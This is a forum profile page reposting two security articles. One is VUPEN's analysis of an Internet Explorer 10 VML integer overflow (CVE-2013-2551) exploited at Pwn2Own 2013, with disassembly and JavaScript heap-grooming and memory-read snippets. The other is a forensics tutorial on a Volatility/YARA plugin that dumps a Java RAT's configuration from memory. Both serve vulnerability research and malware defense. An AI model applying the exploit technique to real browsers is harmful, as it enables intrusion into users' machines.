Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013) Published on 2013-05-22 18:24:17 UTC by Nicolas Joly, Senior Security Researcher @ VUPEN Hi everyone, Pwn2Own 2013 was much more challenging than ever with a Microsoft Surface Pro target running Internet Explorer 10 on Windows 8. Thinking about Windows 8 exploit mitigations randomly gives DEP, HiASLR, /GS, SEHOP, vTable Guard, Protected Mode sandbox, etc. but still, with the proper vulnerabilities, all these features can be defeated to pwn the new tablet! In this blog we will share our analysis and advanced exploitation technique of an integer overflow vulnerability we have discovered and exploited at Pwn2Own 2013 as first stage (CVE-2013-2551 / MS13-037) using dynamic ROP building and without any heap spray to achieve code execution in the context of IE10 sandboxed process, which is the first step needed to put a Pwn2Own jacket in your closet. 1. Where the magic happens Many of you probably know the Vector Markup Language (VML), which is the ancestor of SVG but is still supported by default by IE10. The language is implemented by vgx.dll, which can be usually found under C:\Program Files\Common Files\Microsoft Shared\VGX. For example, the following line produces a red oval: [TABLE] [TR] [TD] <v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval> [/TD] [/TR] [/TABLE] More information about the topic can be found on MSDN. 2. A secret named DashStyle VML implements various subelements of the shape element, one of which is the Stroke subelement. This particular subelement has a property named dashstyle which can be either a constant or a custom pattern. This part is pretty well documented on MSDN. The next two examples show both use cases: [TABLE] [TR] [TD] <v:oval> <v:stroke dashstyle="LongDash"/> </v:oval> <v:oval> <v:stroke dashstyle="2 2 2 0 2 2 2 0"/> </v:oval> [/TD] [/TR] [/TABLE] As most of the VGX features related to this vulnerability and used in our exploit are undocumented, we found them by directly looking into the "vgx.dll" code and understanding its inner mechanisms. For example, reading the dashstyle attribute from JavaScript leads to call "COAStroke::get_dashstyle()". It calls a sub function named "COAShapeProg::GetOALineDashStyle()" that returns a COALineDashStyle object. These lines are taken from vgx.dll v10.0.9200.16490 on Windows 8 (32-bit) with MS13-010 update applied: [TABLE] [TR] [TD] .text:1007E600 ; COALineDashStyle * __thiscall COAShapeProg::GetOALineDashStyle() ... .text:1007E609 push ebx .text:1007E60A push Size .text:1007E60C call new(uint,int) .text:1007E611 mov ebx, eax .text:1007E613 pop ecx .text:1007E614 test ebx, ebx .text:1007E616 jz short loc_1007E633 .text:1007E618 push esi .text:1007E619 push const IID_IVgLineDashStyle,COAShapeProg>::s_dispStatic .text:1007E61E lea esi, [ebx+4] .text:1007E621 xor edx, edx .text:1007E623 mov eax, edi .text:1007E625 call COADispatch::COADispatch() .text:1007E62A mov dword ptr [ebx], offset COALineDashStyle::'vftable' [/TD] [/TR] [/TABLE] That particular dashstyle attribute is actually implemented as an undocumented object that exposes the following properties: The array property is particularly interesting here. For custom patterns, calling "COALineDashStyle::get_array()" returns a COALineDashStyleArray object allocated in "COAShapeProg::GetOALineDashStyleArray()": [TABLE] [TR] [TD] .text:1007E648 ; COALineDashStyleArray * __thiscall COAShapeProg::GetOALineDashStyleArray ... .text:1007E648 cmp dword ptr [edi+0C8h], 0 .text:1007E64F jnz short loc_1007E684 .text:1007E651 push ebx .text:1007E652 push 10h .text:1007E654 call new(uint,int) .text:1007E659 mov ebx, eax ... .text:1007E672 mov dword ptr [ebx], const COALineDashStyleArray::'vftable' [/TD] [/TR] [/TABLE] The COALineDashStyleArray is undocumented too and supports the following properties: Notice "COALineDashStyleArray::put_length()". As its name implies, it is possible to dynamically resize the array with a custom length. The next lines show how the DashStyle array length is updated in "COALineDashStyleArray::put_length()": [TABLE] [TR] [TD] .text:1008B87D lea edx, [ebp+arg_0] .text:1008B880 lea ecx, [eax+30h] .text:1008B883 mov eax, [ecx] .text:1008B885 push edx .text:1008B886 push 1CFh .text:1008B88B call dword ptr [eax] //get the array property .text:1008B88D mov ecx, [ebp+arg_0] .text:1008B890 test ecx, ecx .text:1008B892 jz short loc_1008B902 .text:1008B894 mov eax, [ecx] .text:1008B896 push ecx .text:1008B897 call dword ptr [eax+2Ch] //get the array length (call ORG::CElements) .text:1008B89A mov esi, [ebp+arg_4] .text:1008B89D mov edx, eax .text:1008B89F cmp edx, esi .text:1008B8A1 jge short loc_1008B8F3 //compare it with the supplied length [/TD] [/TR] [/TABLE] From that point one can either extend or shorten the DashStyle array, depending on the value of arg_4. Notice the signed comparison here. If a negative length is supplied, loc_1008B8F3 is reached: [TABLE] [TR] [TD] .text:1008B8F3 loc_1008B8F3: .text:1008B8F3 mov eax, [ebp+arg_0] .text:1008B8F6 mov ecx, [eax] .text:1008B8F8 sub edx, esi //edx = current_length - desired_length .text:1008B8FA push edx .text:1008B8FB push esi .text:1008B8FC push eax .text:1008B8FD call dword ptr [ecx+28h] //call ORG::DeleteRange .text:1008B900 jmp short loc_1008B90A [/TD] [/TR] [/TABLE] For information, VML uses ORG objects to implement arrays. Looking at "ORG::CElements()" reveals that the array length is actually defined as a short int: [TABLE] [TR] [TD] .text:1003C560 int __stdcall ORG::CElements(void) .text:1003C560 .text:1003C560 mov edi, edi .text:1003C562 push ebp .text:1003C563 mov ebp, esp .text:1003C565 mov eax, [ebp+arg_0] .text:1003C568 movzx eax, word ptr [eax+4] //return the array length .text:1003C56C pop ebp .text:1003C56D retn 4 [/TD] [/TR] [/TABLE] The execution flow hits then "MsoFRemovePx()" with arg_4 = current_length - desired_length and arg_8 = desired_length. [TABLE] [TR] [TD] .text:10076128 mov edi, edi .text:1007612A push ebp .text:1007612B mov ebp, esp .text:1007612D mov eax, [ebp+arg_4] //eax = current_length - desired_length ... .text:100761AB loc_100761AB: .text:100761AB mov esi, [ebp+arg_8] //esi = desired_length .text:100761AE .text:100761AE loc_100761AE: .text:100761AE movzx edx, word ptr [ebx] //edx = current_length .text:100761B1 add eax, esi .text:100761B3 cmp eax, edx //current_length - desired_length + desired_length //= current_length! .text:100761B5 jz short loc_100761D4 ... .text:100761D4 loc_100761D4: .text:100761D4 .text:100761D4 sub [ebx], si //update current_length to desired_length % 0x10000!! .text:100761D7 pop edi .text:100761D8 mov eax, esi .text:100761DA pop esi .text:100761DB pop ebx .text:100761DC pop ebp .text:100761DD retn 0Ch [/TD] [/TR] [/TABLE] Assuming desired_length = 0xFFFFFFFF, the DashStyle array length is then updated to 0xFFFF without triggering the array reallocation. With "COALineDashStyleArray::get_item()" and "COALineDashStyleArray::put_item()", it is then easy to read and write data anywhere between DashStyle.array and DashStyle.array + 4*0xFFFF. This is powerful enough to defeat any of the actual exploit mitigations included in Windows 8. 3. Two objets to rule them all There are various ways to exploit this vulnerability, and perhaps the easiest one consists in placing the malicious array right before a vTable to first disclose a pointer in the DLL and overwrite later this pointer to gain code execution. Disassembling the "COAShape::get__anchorRect()" function shows that each time the _anchorRect property is read, a COAReturnedPointsForAnchor object is allocated and returned to JavaScript: [TABLE] [TR] [TD] .text:1007F6B0 push 10h .text:1007F6B2 call new(uint,int) .text:1007F6B7 mov edx, eax .text:1007F6B9 pop ecx .text:1007F6BA test edx, edx .text:1007F6BC jz short loc_1007F6DA .text:1007F6BE mov ecx, [ebx+4] .text:1007F6C1 and dword ptr [edx+8], 0 .text:1007F6C5 and dword ptr [edx+0Ch], 0 .text:1007F6C9 mov [edx+4], ecx .text:1007F6CC inc dword_100ACA48 .text:1007F6D2 mov dword ptr [edx], const COAReturnedPointsForAnchor::'vftable' [/TD] [/TR] [/TABLE] In a few words, here is the exploitation scenario: first create a large array and fill it with these COAReturnedPointsForAnchor objects. Insert next a DashStyle array of 4 elements in the middle of the heap and trigger the vulnerability to disclose the vTable and bypass HiASLR. Spray then the heap, and eventually overwrite the pointer to cause a crash in "COADispatch::AddRef()": [TABLE] [TR] [TD] .text:1006DD2F mov eax, [esi] .text:1006DD31 mov ecx, [eax] .text:1006DD33 push eax .text:1006DD34 call dword ptr [ecx+4] //control the execution flow .text:1006DD37 mov eax, [esi+4] .text:1006DD3A inc eax .text:1006DD3B mov [esi+4], eax .text:1006DD3E retn [/TD] [/TR] [/TABLE] The next step is to rely on a ROP to get the payload executed. The usual method consists in pre-writing a ROP designed to work with a specific DLL version, but as our goal was to write a universal exploit which works on IE10, IE9, IE8, IE7 and IE6 running on any Windows version from Windows XP to Windows 8, any language, and any patch level or VGX version, we figured out that creating all these ROPs would represent a fair amount of work! As always, the first idea might not be the best...for professional exploit writers. 4. "Heapsprays are for the 99%" Here follows a way to read an arbitrary string in memory, so we can leak the SharedUserData section or even the whole "vgx.dll" library content and dynamically find and build our ROP gadgets. VML provides for example a _vgRuntimeStyle attribute which is handled by COARuntimeStyle for each VML shape. A quick review of that object shows that various attributes can be defined: Disassembling "COARuntimeStyle::get_marginLeft()" and "COARuntimeStyle::put_marginLeft()" for instance shows that the object carries a pointer to an arbitrary string at offset 0x58. [TABLE] [TR] [TD] .text:1008EAB5 COARuntimeStyle::get_marginLeft(unsigned short * *) ... .text:1008EB05 mov ecx, [eax+58h] .text:1008EB08 test ecx, ecx .text:1008EB0A jz short loc_1008EB1A .text:1008EB0C push ecx .text:1008EB0D call SysAllocString(x) //read the string at offset 0x58 .text:1008EB13 mov ecx, [ebp+arg_4] .text:1008EB16 mov [ecx], eax [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] .text:1008EB6D COARuntimeStyle__put_marginLeft(int, OLECHAR *psz) ... .text:1008EBBC mov eax, [ebp+psz] .text:1008EBBF xor edx, edx .text:1008EBC1 cmp [esi+58h], edx .text:1008EBC4 mov [esi+58h], edx .text:1008EBC7 setnz cl .text:1008EBCA test eax, eax .text:1008EBCC jz short loc_1008EBE1 .text:1008EBCE cmp [eax], dx .text:1008EBD1 jz short loc_1008EBE1 .text:1008EBD3 push eax .text:1008EBD4 call SysAllocString(x) //copy the user supplied string .text:1008EBDA mov [esi+58h], eax to offset 0x58 [/TD] [/TR] [/TABLE] As a result, if we manage to set the heap so that the ORG array precedes a COARuntimeStyle, we will be able to overwrite the marginLeft pointer with an arbitrary value which can later be read back in "COARuntimeStyle::get_marginLeft()". Reversing VML a bit more shows that these COARuntimeStyle objects are actually created by "CParserTag::GetRTSInfo()" and need 0xAC bytes: [TABLE] [TR] [TD] .text:10039222 mov edi, edi .text:10039224 push ebx .text:10039225 push esi .text:10039226 mov esi, ecx .text:10039228 xor ebx, ebx .text:1003922A push edi .text:1003922B cmp [esi+30h], ebx .text:1003922E jnz short loc_10039261 .text:10039230 mov edi, 0ACh .text:10039235 push edi .text:10039236 call new(uint) //allocate ACh bytes on the heap [/TD] [/TR] [/TABLE] Great! Allocating an ORG array of 44 items (44 * 4 = 0xB0) will thus place the vulnerable buffer in the middle of COARuntimeStyle objects: [TABLE] [TR] [TD] for (var i=0; i<0x400; i++) //set up the heap { a = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++) { a.rotation; //create a COARuntimeStyle if (i == 0x300) { //allocate an ORG array of size B0h vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } [/TD] [/TR] [/TABLE] Next, iterate over the marginLeft properties to see which one can be targeted: [TABLE] [TR] [TD] for (var i=0; i<0x400; i++) { a.marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { shape.dashstyle.array.item(0x2E+0x16) = 0x5A5A5A5A; alert(a.marginLeft) } } [/TD] [/TR] [/TABLE] Here is a snapshot of the heap layout after overwriting the pointer: When reading back the marginLeft property, a corruption occurs in "OLEAUT32.SysAllocString()" while reading the string pointed by 0x5A5A5A5A. Of course, any pointer can fit here, such as a pointer to the SharedUserData section on Windows 7 and prior. For Windows 8, after reading the VGX library, we can read data around the COAReturnedPointsForAnchor vTable, until reaching the PE Header "MZ" magic value. With some minor changes, it is also possible to use the same technique to exploit the 64-bit versions of IE10 Desktop (Classic) and IE10 Modern (Metro). For Windows 8, there is even another exploitation technique (left as exercise for the reader) which does not rely on any gadgets and requires almost no changes across VML versions. See you next year at Pwn2Own 2014! © Copyright VUPEN Security Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Internet Explorer 10 on Windows 8 (CVE-2013-2551 / MS13-037 / Pwn2Own 2013)
  2. [h=3]Dumping Malware Configuration Data from Memory with Volatility[/h]As someone who has been in the digital forensics field for most of his life, it's hard to find topics that truly amaze or surprise me (beyond stories of user stupidity . However, the rise of memory analysis tools has really made me satisfied with how well the industry can conquer difficult tasks, especially with free and open source tools. When I first start delving in memory forensics, we typically relied upon controlled operating system crashes (to create memory crash dumps) or the old FireWire exploit with a special laptop. Later, software-based tools like regular dd, and win32dd, made the job much easier (and more entertaining as we watched the feuds between mdd and win32dd). In the early days, our analysis was basically performed with a hex editor. By collecting volatile data from an infected system, we'd attempt to map memory locations manually to known processes, an extremely frustrating and error-prone procedure. Even with the advent of graphical tools such as HBGary Responder Pro, which comes with a hefty price tag, I've found most of my time spent viewing raw memory dumps in WinHex. I've slowly changed my ways over the years as tools like Volatility have gained maturity and become more feature-rich. Volatility is a free and open-source memory analysis tool that takes the hard work out of mapping and correlating raw data to actual processes. At first I shunned Volatility for it's sheer amount of command line memorization, where each query required a new and specialized command line option. Over the years, I've come to appreciate this aspect and the flexibility it provides to an examiner. It's with Volatility that I focus the content for this blog post, to dump malware configurations from memory. For those unfamiliar with the concept, it's rare to find static malware. That is, malware that has a plain-text URL in its .rdata section mixed in with other strings. Modern malware tends to be more dynamic, allowing for configurations to be downloaded upon infection, or be strategically injected into the executable by its author. Crimeware malware (Carberp, Zeus) tend to favor the former, connecting to a hardcoded IP address or domain to download a detailed configuration profile (often in XML) that is used to determine how the malware is to operate. What domains does it beacon to, on which ports, and with what campaign IDs - these are the items we determine from malware configurations. Other malware rely upon a known block of configuration data within the executable, sometimes found within .rdata or simply in the overlay (the data after the end of the actual executable). Sometimes this data is in plain text, often it's encoded or encrypted. A notable example of this is in Mandiant's APT1 report on TARSIP-MOON, where a block of encrypted data is stored in the overlay. The point of this implementation is that an author can compile their malware, and then add in the appropriate configuration data after the fact. As a method to improving the timeliness of malware analysis, I've been advocating for greater research and implementation of configuration dumpers. By identifying where data is stored within the file, and by knowing its encryption routine, one could simply write a script to extract the data, decrypt it, and print it out. Without even running the malware we know its intended C2 communications and have immediate signatures that we can then implement into our network defenses. While this data may appear as a simple structure in plaintext in a sample, often it's encoded or encrypted via a myriad of techniques. Often this may be a form of encryption that we, or our team, deemed as too difficult to decrypt in a reasonable time. This is pretty common, advanced encryption or compression can often take weeks to completely unravel and is often left for when there's downtime in operations. What do we do, then? Easy, go for the memory. We know that the malware has a decryption routine that intakes this data and produces decrypted output. By simply running the malware and analyzing its memory footprint, we will often find the decrypted results in plaintext, as it has already been decrypted and in use by the malware. Why break the encryption when we can let the malware just decrypt it for us? For example, the awesome people at Malware.lu released a static configuration dumper for a known Java-based RAT. This dumper, available here on their GitHub repo, extracts the encryption key and configuration data from the malware's Java ZIP and decrypts it. It uses Triple DES (TDEA), but once that routine became public knowledge, the author quickly switched to a new routine. The author has then continued switching encryption routines regularly to avoid easy decryption. Based on earlier analysis, we know that the data is decrypted as: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 70 6F 72 74 3D 33 31 33 33 37 53 50 4C 49 54 01 port=31337SPLIT. 00000016 6F 73 3D 77 69 6E 20 6D 61 63 53 50 4C 49 54 01 os=win macSPLIT. 00000032 6D 70 6F 72 74 3D 2D 31 53 50 4C 49 54 03 03 03 mport=-1SPLIT... 00000048 70 65 72 6D 73 3D 2D 31 53 50 4C 49 54 03 03 03 perms=-1SPLIT... 00000064 65 72 72 6F 72 3D 74 72 75 65 53 50 4C 49 54 01 error=trueSPLIT. 00000080 72 65 63 6F 6E 73 65 63 3D 31 30 53 50 4C 49 54 reconsec=10SPLIT 00000096 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................ 00000112 74 69 3D 66 61 6C 73 65 53 50 4C 49 54 03 03 03 ti=falseSPLIT... 00000128 69 70 3D 77 77 77 2E 6D 61 6C 77 61 72 65 2E 63 ip=www.malware.c 00000144 6F 6D 53 50 4C 49 54 09 09 09 09 09 09 09 09 09 omSPLIT......... 00000160 70 61 73 73 3D 70 61 73 73 77 6F 72 64 53 50 4C pass=passwordSPL 00000176 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT.............. 00000192 69 64 3D 43 41 4D 50 41 49 47 4E 53 50 4C 49 54 id=CAMPAIGNSPLIT 00000208 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................ 00000224 6D 75 74 65 78 3D 66 61 6C 73 65 53 50 4C 49 54 mutex=falseSPLIT 00000240 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................ 00000256 74 6F 6D 73 3D 2D 31 53 50 4C 49 54 04 04 04 04 toms=-1SPLIT.... 00000272 70 65 72 3D 66 61 6C 73 65 53 50 4C 49 54 02 02 per=falseSPLIT.. 00000288 6E 61 6D 65 3D 53 50 4C 49 54 06 06 06 06 06 06 name=SPLIT...... 00000304 74 69 6D 65 6F 75 74 3D 66 61 6C 73 65 53 50 4C timeout=falseSPL 00000320 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT.............. 00000336 64 65 62 75 67 6D 73 67 3D 74 72 75 65 53 50 4C debugmsg=trueSPL 00000352 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT.............. Or, even if we couldn't decrypt this, we know that it's beaconing to a very unique domain name and port which can be searched upon. Either way, we now have a sample where we can't easily get to this decrypted information. So, let's solve that. By running the malware within a VM, we should have a logical file for the memory space. In VMWare, this is a .VMEM file (or .VMSS for snapshot memory). In VirtualBox, it's a .SAV file. After running our malware, we suspend the guest operating system and then focus our attention on the memory file. The best way to start is to simply grep the file (from the command line or a hex editor) for the unique C2 domains or artifacts. This should get us into the general vicinity of the configuration and show us the structure of it: E:\VMs\WinXP_Malware>grep "www.malware.com" * Binary file WinXP_Malware.vmem matches With this known, we open the VMEM file and see a configuration that matches that of what we've previously seen. This tells us that the encryption routine changed, but not that of the configuration, which is common. This is where we bring out Volatility. [h=4]Searching Memory with Volatility[/h] We know that the configuration data begins with the text of "port=<number>SPLIT", where "SPLIT" is used to delimit each field. This can then be used to create a YARA rule of: rule javarat_conf { strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a } This YARA rule uses the regular expression structure (defined with forward slashes around the text) to search for "port=" followed by a number that is 1 - 5 characters long. This rule will be used to get us to the beginning of the configuration data. If there is no good way to get to the beginning, but only later in the data, that's fine. Just note that offset variance between where the data should start and where the YARA rule puts us. Let's test this rule with Volatility first, to ensure that it works: E:\Development\volatility>vol.py -f E:\VMs\WinXP_Malware\WinXP_Malware.vmem yarascan -Y "/port=[0-9]{1,5}SPLIT/" Volatile Systems Volatility Framework 2.3_beta Rule: r1 Owner: Process VMwareUser.exe Pid 1668 0x017b239b 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 2e port=31337SPLIT. 0x017b23ab 0a 30 30 30 30 30 30 31 36 20 20 20 36 46 20 37 .00000016...6F.7 0x017b23bb 33 20 33 44 20 37 37 20 36 39 20 36 45 20 32 30 3.3D.77.69.6E.20 0x017b23cb 20 36 44 20 20 36 31 20 36 33 20 35 33 20 35 30 .6D..61.63.53.50 Rule: r1 Owner: Process javaw.exe Pid 572 0x2ab9a7f4 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 01 port=31337SPLIT. 0x2ab9a804 6f 73 3d 77 69 6e 20 6d 61 63 53 50 4c 49 54 01 os=win.macSPLIT. 0x2ab9a814 6d 70 6f 72 74 3d 2d 31 53 50 4c 49 54 03 03 03 mport=-1SPLIT... 0x2ab9a824 70 65 72 6d 73 3d 2d 31 53 50 4c 49 54 03 03 03 perms=-1SPLIT... One interesting side effect to working within a VM is that some data may appear under the space of VMWareUser.exe. The data is showing up somewhere outside of the context of our configuration. We could try to change our rule, but the simpler solution within the plugin is to just rule out hits from VMWareUser.exe and only allow hits from executables that contain "java". Now that we have a rule, how do we automate this? By writing a quick and dirty plugin for Volatility. [h=4]Creating a Plugin[/h] A quick plugin that I'm demonstrating is composed of two primary components: a YARA rule, and a configuration dumper. The configuration dumper scans memory for the YARA rule, reads memory, and displays the parsed results. An entire post could be written on just this file format, so instead I'll post a very generic plugin and highlight what should be modified. I wrote this based on the two existing malware dumpers already released with Volatility: Zeus and Poison Ivy. Jamie Levy and Michael Ligh, both core developers on Volatility, provided some critical input on ways to improve and clean up the code. # JavaRAT detection and analysis for Volatility - v 1.0 # This version is limited to JavaRAT's clients 3.0 and 3.1, and maybe others # Author: Brian Baskin <brian@thebaskins.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import volatility.plugins.taskmods as taskmods import volatility.win32.tasks as tasks import volatility.utils as utils import volatility.debug as debug import volatility.plugins.malware.malfind as malfind import volatility.conf as conf import string try: import yara has_yara = True except ImportError: has_yara = False signatures = { 'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}' } config = conf.ConfObject() config.add_option('CONFSIZE', short_option = 'C', default = 256, help = 'Config data size', action = 'store', type = 'int') config.add_option('YARAOFFSET', short_option = 'Y', default = 0, help = 'YARA start offset', action = 'store', type = 'int') class JavaRATScan(taskmods.PSList): """ Extract JavaRAT Configuration from Java processes """ def get_vad_base(self, task, address): for vad in task.VadRoot.traverse(): if address >= vad.Start and address < vad.End: return vad.Start return None def calculate(self): """ Required: Runs YARA search to find hits """ if not has_yara: debug.error('Yara must be installed for this plugin') addr_space = utils.load_as(self._config) rules = yara.compile(sources = signatures) for task in self.filter_tasks(tasks.pslist(addr_space)): if 'vmwareuser.exe' == task.ImageFileName.lower(): continue if not 'java' in task.ImageFileName.lower(): continue scanner = malfind.VadYaraScanner(task = task, rules = rules) for hit, address in scanner.scan(): vad_base_addr = self.get_vad_base(task, address) yield task, address def make_printable(self, input): """ Optional: Remove non-printable chars from a string """ input = input.replace('\x09', '') # string.printable doesn't remove backspaces return ''.join(filter(lambda x: x in string.printable, input)) def parse_structure(self, data): """ Optional: Parses the data into a list of values """ struct = [] items = data.split('SPLIT') for i in range(len(items) - 1): # Iterate this way to ignore any slack data behind last 'SPLIT' item = self.make_printable(items[i]) field, value = item.split('=') struct.append('%s: %s' % (field, value)) return struct def render_text(self, outfd, data): """ Required: Parse data and display """ delim = '-=' * 39 + '-' rules = yara.compile(sources = signatures) outfd.write('YARA rule: {0}\n'.format(signatures)) outfd.write('YARA offset: {0}\n'.format(self._config.YARAOFFSET)) outfd.write('Configuration size: {0}\n'.format(self._config.CONFSIZE)) for task, address in data: # iterate the yield values from calculate() outfd.write('{0}\n'.format(delim)) outfd.write('Process: {0} ({1})\n\n'.format(task.ImageFileName, task.UniqueProcessId)) proc_addr_space = task.get_process_address_space() conf_data = proc_addr_space.read(address + self._config.YARAOFFSET, self._config.CONFSIZE) config = self.parse_structure(conf_data) for i in config: outfd.write('\t{0}\n'.format(i)) This code is also available on my GitHub. In a nutshell, you first have a signature to key on for the configuration data. This is a fully qualified YARA signature, seen as: signatures = { 'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}' } This rule is stored in a Python dictionary format of 'rule_name' : 'rule contents'. The plugin allows a command line argument (-Y) to set the the YARA offset. If your YARA signature hits 80 bytes past the beginning of the structure, then set this value to -80, and vice versa. This can also be hardcoded by changing the default value. There a second command line argument (-C) to set the size of data to read for parsing. This can also be hardcoded. This will vary based upon the malware; I've seen some multiple kilobytes in size. Rename the Class value, seen here as JavaRATScan, to whatever fits for your malware. It has to be a unique name. Additionally, the """ """ comment block below the class name contains the description which will be displayed on the command line. I do have an optional rule to limit the search to a certain subset of processes. In this case, only processes that contain the word "java" - this is a Java-based RAT, after all. It also skips any process of "VMWareUser.exe". The plugin contains a parse_structure routine that is fed a block of data. It then parses it into a list of items that are returned and printed to the screen (or file, or whatever output is desired). This will ultimately be unique to each malware, and the optional function of make_printable() is one I made to clean up the non-printable characters from the output, allowing me to extending the blocked keyspace. [h=4]Running the Plugin[/h] As a rule, I place all of my Volatility plugins into their own unique directory. I then reference this upon runtime, so that my files are cleanly segregated. This is performed via the --plugins option in Volatility: E:\Development\volatility>vol.py --plugins=..\Volatility_Plugins After specifying a valid plugins folder, run vol.py with the -h option to ensure that your new scanner appears in the listing: E:\Development\volatility>vol.py --plugins=..\Volatility_Plugins -h Volatile Systems Volatility Framework 2.3_beta Usage: Volatility - A memory forensics analysis platform. Options: ... Supported Plugin Commands: apihooks Detect API hooks in process and kernel memory ... javaratscan Extract JavaRAT Configuration from Java processes ... The names are automatically populated based upon your class names. The text description is automatically pulled from the "docstring", which is the comment that directly follows the class name in the plugin. With these in place, run your scanner and cross your fingers: For future use, I'd recommend prepending your plugin name with a unique identifier to make it stand out, like "SOC_JavaRATScan". Prepending with a "zz_" would make the new plugins appear at the bottom of Volality's help screen. Regardless, it'll help group the built-in plugins apart from your custom ones. [h=4]The Next Challenge: Data Structures[/h] The greater challenge is when data is read from within the executable into a data structure in memory. While the data may have a concise and structured form when stored in the file, it may be transformed into a more complex and unwieldy format once read into memory by the malware. Some samples may decrypt the data in-place, then load it into a structure. Others decrypt it on-the-fly so that it is only visible after loading into a structure. For example, take the following fictitious C2 data stored in the overlay of an executable: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 08 A2 A0 AC B1 A0 A8 A6 AF 17 89 95 95 91 DB CE .¢ ¬± ¨¦¯.‰••‘ÛÎ 00000016 CE 96 96 96 CF 84 97 88 8D 92 88 95 84 CF 82 8E Ζ––Ï„—ˆ’ˆ•„Ï‚Ž 00000032 8C 03 D5 D5 D2 08 B1 A0 B2 B2 B6 AE B3 A5 05 84 Œ.ÕÕÒ.± ²²¶®³¥.„ 00000048 99 95 93 80 ™•“€ By reversing the malware, we determine that this composed of Pascal-strings XOR encoded by 0xE1. Pascal-string are length prefixed, so applying the correct decoding would result in: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 08 43 41 4D 50 41 49 47 4E 17 68 74 74 70 3A 2F .CAMPAIGN.http:/ 00000016 2F 77 77 77 2E 65 76 69 6C 73 69 74 65 2E 63 6F /www.evilsite.co 00000032 6D 03 34 34 33 08 50 41 53 53 57 4F 52 44 05 65 m.443.PASSWORD.e 00000048 78 74 72 61 xtra This is a very simple encoding routine, which I made with just: items = ['CAMPAIGN', 'http://www.evilsite.com', '443', 'PASSWORD', 'extra'] data = '' for i in items: data += chr(len(i)) for x in i: data += chr(ord(x) ^ 0xE1) Data structures are a subtle and difficult component of reverse engineering, and vary in complexity with the skill of the malware author. Unfortunately, data structures are some of the least shared indicators in the industry. Once completed, a sample structure could appear similar to the following: struct Configuration { CHAR campaign_id[12]; CHAR password[16]; DWORD heartbeat_interval; CHAR C2_domain[48]; DWORD C2_port; } With this structure, and the data shown above, the malware reads each variable in and applies it to the structure. But, we can already see some discrepancies: the items are in a differing order, and some are of a different type. While the C2 port is seen as a string, '443', in the file, it appears as a DWORD once read into memory. That means that we'll be searching for 0x01BB (or 0xBB01 based on endianness) instead of '443'. Additionally, there are other values introduced that did not exist statically within the file to contend with. An additional challenge is that depending on how the memory was allocated, there could be slack data found within the data. This could be seen if the malware sample allocates memory malloc() without a memset(), or by not using calloc(). When read and applied to the structure, this data may appear as the following: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 43 41 4D 50 41 49 47 4E 00 0C 0C 00 00 50 41 53 CAMPAIGN.....PAS 00000016 53 57 4F 52 44 00 00 00 00 00 00 00 00 00 17 70 SWORD..........p 00000032 68 74 74 70 3A 2F 2F 77 77 77 2E 65 76 69 6C 73 http://www.evils 00000048 69 74 65 2E 63 6F 6D 00 00 00 00 00 00 00 00 00 ite.com......... 00000064 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080 00 00 01 BB ...» We can see from this that our strategy changes considerably when writing a configuration dumper. The dumper won't be written based upon the structure in the file, but instead upon the data structure in memory, after it has been converted and formatted. We'll have to change our parser slightly to account for this. For example, if you know that the Campaign ID is 12 bytes, then read 12 bytes of data and find the null terminator to pull the actual string. This just scratches the surface of what you can do with encrypted data in memory, but I hope it can inspire others to use this template code to make quick and easy configuration dumpers to improve their malware analysis. Posted by Brian Baskin at Friday, October 11, 2013 Sursa: Ghetto Forensics: Dumping Malware Configuration Data from Memory with Volatility
